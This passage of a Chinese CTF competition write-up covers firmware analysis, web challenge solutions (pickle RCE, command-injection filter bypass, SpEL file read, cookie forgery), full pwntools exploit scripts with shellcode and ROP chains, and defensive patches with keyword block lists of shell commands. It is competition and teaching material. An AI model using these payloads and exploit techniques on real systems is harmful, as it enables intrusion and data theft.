    return 0;
} 

固件分析

将中间的nk_dump解压后

find . -type f | xargs strings | grep 'www\..*\.com' | grep -v 'microsoft' | grep 'www\..*\.com'

使用这一条指令之后寻找可疑域名, 找到了一个相当可疑的:
www.jidfv4f0k0vnzl2cni6eref90gg.com
之后逆向分析附件中包含 backdoor 的程序 ping.exe,使用binwalk发现中间有隐藏文件(直接分析是mips。。。),分离后通过IDA进行分析,获得端口号 48952。
flag{www.jidfv4f0k0vnzl2cni6eref90gg.com:48952}

vxdz (未解出)

这题没有扒拉到poc,网上是有的,后来得知是压缩+TripleDES,这谁能猜到啊,这题也是poc一把梭,但是flag让人忍俊不禁
flag{vxdzvxdz}

灵车 (未解出)

大奋。

第二天晚上 晚宴

抽奖:介质消除工具

思路一:正常中奖

由于没有华为的赞助了,国赛抽奖不行事了,不过我们可以让先到的队员把签到二维码泄露出来,然后我们发给认识的好友,让他们也签到,这样就同时提高了分子和分母,由糖水原理,我们中奖的概率一定增加,不过最后我们也没中,反倒是嘉宾中的一个接着一个。

思路二:未鉴权导致的中奖攻击

由于有的人可能并不在场但是签到了,或者已经离开,而三轮抽奖中总是不够10人,这时候由于并不会验证你是否中奖,你直接硬着头皮往上走我觉得都是可以的,不过最后我们也没有这样做。
经过观察,第一轮抽奖上去9个人,第二轮7人,第三轮9人。显然第二轮更容易遭到攻击,具体POC留给下一届了,我也是圆满退役国赛了,大家其他比赛再见!

Summery

Web题太多,Pwn题太少,Fix的时候也是,5个web,1个pwn,pwn基本上改一个很小的地方就过了,基本上没有区分度。
由于早上是动态积分,下午fix是静态积分,我们在早上的时候由于Web先做的不是简单题,导致拿了第26血,没有加成,所以比第一名低40分。pwn也是,由于远程环境的环境和本地的差的太多了,本地一直打通,而远程一直不能通,导致了我们没有拿下全场这一道0解题,而且主办方甚至让我们拉Dockerfile (Ubuntu的某个版本),但是线下赛没有网,真无敌了吧。
不过最后我们也是拿下了第二名(1等奖),同校队伍7也通过赛后申诉拿下了属于自己的分,从12名到11名,成功进入决赛范畴,同样拿下一等奖🎇
2024-06-22T08:33:58.png

Web

cmphp

修改前端:把注释掉的js语句执行在devtools

根据提交后提示HIJKLMN,随便输入一些

/submit.php


function generateStringFromTime($timeStr, $length = 16) {
    $hash = hash('sha256', $timeStr);
    $result = substr($hash, 0, $length);
    return $result;
}

   ...代码略...

   sleep(x);   x<60秒,需要自行猜测
   $full_time = date('Y-m-d-H-i-s');
   sleep(x);   x<8秒,需要自行猜测
   $time = date('Y-m-d-H-i');
   $generatedString = generateStringFromTime($full_time);
   $filename = '/tmp/' . $generatedString;
   $content = $_POST['HIJKLMN'];
   ...代码略...
   file_put_contents($filename, $content);
   $log_entry = "$time 时间提交了一条内容\n";
   file_put_contents('/tmp/time.txt', $log_entry, FILE_APPEND);

   echo render_template('submit_success.html', ['time' => $time]);
}

timeStr加sha256取前16个字符

写脚本爆破日志

import httpx
import hashlib
def sha(s: str):
    return hashlib.sha256(s.encode()).hexdigest()[:16]

for i in range(0, 61):
    s = str(i).ljust(2, '0')
    ahs = sha(f"2024-06-18-10-31-{s}") # 从include.php?file=time.txt拿,这应该是第三行,前两个都是hint2024
    # print(s, ahs)
    txt = httpx.get("http://10.1.0.122:84/include.php?file=" + ahs).text
    if txt.find("防御") != -1:
        continue
    print(txt)

mysite

信息收集到robots.txt中有include.php

文件包含读文件

http://10.1.0.122:8887/include.php?file=/flag

mygame

访问html源码发现注释给了源码,随后进行源码审计

代码使用了不安全的pickle.loads,通过__reduce__函数可以rce,且该函数可控

追踪全局变量messages

发现只在路由/submit修改了键serialized,因此试图在此进行注入

变量idiomlength均可控,通过修改messages['mes']控制cmd_line

把这个设置为Header

LOG=b3M6c3lzdGVt   (os:system)

执行系统命令并写入idiom.txt获取回显

message['mes']='cat /flag>/usr/tmp/idiom.txt'

我们发现,这个输入前4个必须是中文,后面随意,我们就填4个中文(注意,第一个是上一个成语的接龙)

把下面的这个文本附加到 ?中中中 这四个中文之后,?是上一个接龙,中文字符。
cat /flag > /var/tmp/idiom.txt

注意到那个截取长度的函数可以是负数,我们填-30可以拿到后面的命令,
然后我们正常访问就可以在原先成语的地方出现flag。

myping

使用''来规避对cat,flag的检查,使用5个/来制造一个/(先拿到ping.php源码进行审计,详情请见fix_myping)

;c''at /////f''lag

即可直接拿到flag

spel

给附件了,阅读源码:org.example.ssppeell.MyController.java

public class MyController {
    @RequestMapping({"/spel"})
    public String spel(String season) {
        Seasons s = new Seasons();
        ExpressionParser parser = new SpelExpressionParser();
        Expression exp = parser.parseExpression(season);
        EvaluationContext context = new StandardEvaluationContext(s);
        return exp.getValue(context).toString();
    }
}

直接读文件
urlencode payload

new%20java.io.BufferedReader(new%20java.io.FileReader('/flag')).readLine()

mylogin

注意到,给的两个账号中间一些地方不一样,我们分别对其进行解密

ADLYWIJuh7Dap ZWVodTIyMg== 3eVssA21qmLL
ADLYWIJuh7Dap eHZodTExMQ== 3eVssA21qmLL

分别是eehu222 xvhu111
由于和我们给的账户有点不一样,且这个形式让我们联想到了凯撒加密,我们进入CyberChef,发现ROT13如果是-3的话就是正确的用户名

CyberChef_v10.18.8/index.html#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)ROT13(true,true,false,-3)&input=ZUhab2RURXhNUT09

我们把这个替换成admin,Rot13操作码+3,然后base64放回去:

ADLYWIJuh7DapZGdwbHE=3eVssA21qmLL

然后通过浏览器更改Cookie,然后进入后找到一个任意读文件的输入框,绕过js限制可以读取到flag。

Pwn

guess

题目大概是那个漏洞函数会一直起子进程,bad函数里有栈溢出,子进程不会影响父进程,爆破canary,ret2shellcode

#! /usr/bin/env python3.8
from pwn import *
from ctools import *
from SomeofHouse import *

context(os="linux", arch="amd64")
TMUX_TERMINAL()
# context.log_level = "debug"

elf_path = './guess'
libc_path = ''

init_elf_with_libc(elf_path, libc_path)
DEBUG = lambda script = '': gdb.attach(io, gdbscript=script)

conn_context(host='10.1.0.122', port=10002, level=REMOTE, elf=elf_path)
# conn_context(args=[PRE_LOAD], interpreter='./ld-linux-x86-64.so.2')

elf = ELF(elf_path)
# libc = ELF(libc_path, checksec=False)
io = conn()

def func():
    canary = b'\x00'
    for i in range(1, 8):
        for j in range(0, 0x100):
            canary += p8(j)
            pad = b'a' * 0x18 + canary
            io.sendafter(b':\n', pad)
            if b'stack smashing' in io.recvuntil(b'thinking?'):
                canary = canary[:-1]
                continue
            break

    print(hex(u64(canary)))
    return canary

def exp():
    # io.sendafter(b':\n', b'a' * 0x18 + b'\x00\x00')

    shellcode = f"""
        mov rax, 0x67616c662f
        push rax
    
        mov rax, __NR_open
        mov rdi, rsp
        xor rsi, rsi
        xor rdx, rdx
        syscall
    
        mov rax, __NR_read
        mov rdi, 3
        mov rsi, rsp
        mov rdx, 0x50
        syscall
    
        mov rax, __NR_write
        mov rdi, 1
        mov rsi, rsp
        mov rdx, 0x50
        syscall
    """

    io.sendline(b'a' * 0x20 + asm(shellcode))

    canary = func()
    pad = b'a' * 0x18 + canary + b'a' * 0x8 + p64(0x40404020)
    # DEBUG()
    io.sendafter(b':\n', pad)
    io.sendafter(b':\n', pad)
    
    pass




try:
    exp()
    io.interactive()
finally:
    rm_core()

ezstack

简单的无 leak , 直接 csu + magic_gadget 一套秒.
大概的思路是使用已知的 libc 函数偏移, 使用错位构造的 magic_gadget 直接在内存中使用 csu 函数的一些部分在 bss 段上的 stdout 进行运算, 由于输入直接是 gets , 先构造一步 read , 再构造个 bss 段上的 orw 即可.

from pwn import *
#from LibcSearcher import *
context(arch='amd64',os='linux')
#context(log_level='debug')
#io=process("./pwn")
io=remote("10.1.0.122",10001)
elf=ELF("./pwn")
libc=ELF("./libc.so.6")

def debug():
    gdb.attach(io)
    pause()

add_ebx_gadget = 0x400847
csu_rbx_rbp_r12_r13_r14_r15=0x4009fa
csu_start = 0x4009e0
mainaddr = 0x4011b2
stdout = elf.bss()
bss = stdout + 0xc00
ret = 0x4006d6
#read_got=elf.got["read"]
leave_ret = 0x4008ff

padding = b'a' * 0x10

def add(off, addr=bss):
    return flat([
        csu_rbx_rbp_r12_r13_r14_r15,
        off, addr + 0x3d, 0, 0, 0, 0,
        add_ebx_gadget,
    ])

offset_open = libc.sym.open - libc.sym._IO_2_1_stdout_
offset_read = libc.sym.read - libc.sym.open
offset_write = libc.sym.write - libc.sym.read
readoffset = libc.sym.read - libc.sym._IO_2_1_stdout_

payload1=padding+flat([
    ret,
    add(readoffset,stdout),
    csu_rbx_rbp_r12_r13_r14_r15,
    0, 1, stdout, 0, bss, 0x600,
    csu_start, 0, 0, bss, 0, 0, 0, 0,
    leave_ret
])
#debug()
io.sendline(payload1)

payload2=b"./flag\x00\x00"
payload2+=flat([
    csu_rbx_rbp_r12_r13_r14_r15,
    libc.sym.open-libc.sym.read, stdout+0x3d, 0, 0, 0, 0,
    add_ebx_gadget,
    csu_rbx_rbp_r12_r13_r14_r15,
    0, 1, stdout, bss, 0, 0,
    csu_start, 0, 
    offset_read, stdout+0x3d, 0, 0, 0, 0,
    add_ebx_gadget, 
    csu_rbx_rbp_r12_r13_r14_r15,    
    0, 1, stdout, 3, bss-0x200, 0x40,
    csu_start, 0,
    offset_write, stdout+0x3d, stdout, 1, bss-0x200, 0x40,
    add_ebx_gadget,
    csu_rbx_rbp_r12_r13_r14_r15,
    0, 1, stdout, 1, bss-0x200, 0x40,
    csu_start, 0,
])
#debug()
io.sendline(payload2)

io.interactive()

Fix

fix_mylogin

改进凯撒加密算法,添加一个随机密钥

sercret = 'pasaspdjapfjapsoidfjasdoifhweuqoudsfjjasodsfgoidisguoidsijgosdjinoidsfngit'

# 凯撒加密
def caesar_cipher(text, shift):
    crypt = True
    if shift<0:
        crypt=False
    result = ""
    iter = 0
    for char in text:
        if char.isalpha():
            shift_amount = 65 if char.isupper() else 97
            result += chr((ord(char) - shift_amount + shift + ord(sercret[iter])) % 26 + shift_amount) if crypt else chr((ord(char) - shift_amount + shift - ord(sercret[iter])) % 26 + shift_amount)
        else:
            result += char
    return result

fix_mygame

改进process_idiom,只允许length为正数

def process_idiom(idiom, length):
    if length < 0:
        return "成语至少四个字而且必须输入中文,不要调皮 (((;꒪ꈊ꒪;)))"
    chinese_idiom = extract_chinese(idiom, 4)
    if chinese_idiom and len(chinese_idiom) >= 4:
        messages["mes"] = custom_slice(idiom, length)
    else:
        return "成语至少四个字而且必须输入中文,不要调皮 (((;꒪ꈊ꒪;)))"

fix_myping

由于这个4的原因,导致我们可以造斜杠,我们把4去掉就修好了,这样永远不可能制造斜杠,就不能访问根目录了。

preg_replace('/\//', ' ', $ip_address, 4);
<!-- ping.php -->
<!DOCTYPE html>
.....部分省略
    <?php
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        $ip_address = $_POST['ip'];
        $ip_address = preprocess_ip($ip_address);
        $command = "ping -c 4 " . $ip_address;
        echo "<div id=\"output\"> <p>当前执行的命令是: $command</p>";
        $output = shell_exec($command);
        echo "<pre>$output</pre></div>";
    }

    function preprocess_ip($ip_address) {
        // Replace flag to ''
        $ip_address = str_replace('flag', '', $ip_address);
        // Remove all spaces
        $ip_address = str_replace(' ', '', $ip_address);
        // Replace '/' with a space once
        $ip_address = preg_replace('/\//', ' ', $ip_address);
        // Filter common Linux commands
        $filtered_commands = ['nl', 'ruby', 'perl', 'python', 'vim', 'vi', 'cut', 'xxd', 'od', 'grep', 'iconv', 'comm', 'shuf', 'tac', 'strings', 'cat', 'head', 'tail', 'more', 'less', 'grep', 'awk', 'sed', 'IFS', '<', '>', '{', '}'];
        foreach ($filtered_commands as $cmd) {
            if (strpos($ip_address, $cmd) !== false) {
                $ip_address = '|echo "Limit KeyWord"';
                break;
            }
        }
        return $ip_address;
    }
    ?>
    </div>
</body>
</html>

fix_mysite

不允许包含以/开头的路径,杜绝越界访问

 <?php
 
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    $file = str_replace("/flag", "???", $file);
    $file = str_replace("/tmp", "???", $file);
    if(substr($file, 0, 1) === "/") 
{
die();
}
    include($file);
}else{
    highlight_file(__FILE__);
}

fix_guess

题目本身漏洞是栈溢出, 在 bad 函数中的 read 可读 0x40字节, 改变可读字节数至 0x18 即可.

fix_cmphp

加固黑名单: 添加php到正则匹配列表

'/php/i',
'/flag/i'

限制时间回显长度: 根据时间格式,长度为固定16,因此限制,并且,检测返回内容是否含有flag

preg_match('/ciscn/i', $time)
<?php

include "modules/functions.php";


if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    sleep(2);
    $full_time = date('Y-m-d-H-i-s');
    sleep(1);
    $time = date('Y-m-d-H-i');
    $generatedString = generateStringFromTime($full_time);


//    $filename = '/tmp/' . substr(str_shuffle('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'), 0, 8);
    $filename = '/tmp/' . $generatedString;

    $content = $_POST['HIJKLMN'];

    if (empty($content)) {
        die(render_template('error.html', ['message' => '检测到HIJKLMN为异常空变量,已被防火墙拦截!']));
    }

//    if (preg_match('shell|exec|system|passthru|popen|proc_open|eval|assert|base64_decode/', $content)) {
//        die(render_template('error.html', ['message' => 'Potential WebShell detected!']));
//    }

    $forbidden_patterns = [
        '/shell/i',
        '/exec/i',
        '/system/i',
        '/passthru/i',
        '/popen/i',
        '/proc_open/i',
        '/eval/i',
        '/file_put_contents/i',
        '/`/i',
        '/assert/i',
        '/base64_decode/i',
        '/curl_exec/i',
        '/curl_multi_exec/i',
        '/parse_ini_file/i',
        '/show_source/i',
        '/array/i',
        '/func/i',
        '/uasort/i',
        '/p?f?open/i',
        '/preg_replace/i',
        '/create_function/i',
        '/include|require/i',
        '/php/i',
        '/flag/i'
    ];

    foreach ($forbidden_patterns as $pattern) {
        if (preg_match($pattern, $content)) {
            die(render_template('error.html', ['message' => '检测到敏感词,已被防火墙拦截!']));
        }
    }


    file_put_contents($filename, $content);

    $log_entry = "$time 时间提交了一条内容<br> \n";
    file_put_contents('/tmp/time.txt', $log_entry, FILE_APPEND);

    if(strlen($time) != 16 || preg_match('/ciscn/i', $time))
{
            die(render_template('error.html', ['message' => '检测到敏感词,已被防火墙拦截!']));
}
    echo render_template('submit_success.html', ['time' => $time]);
}

function render_template($template, $vars = []) {
    extract($vars);
    ob_start();
    include $template;
    return ob_get_clean();
}
?>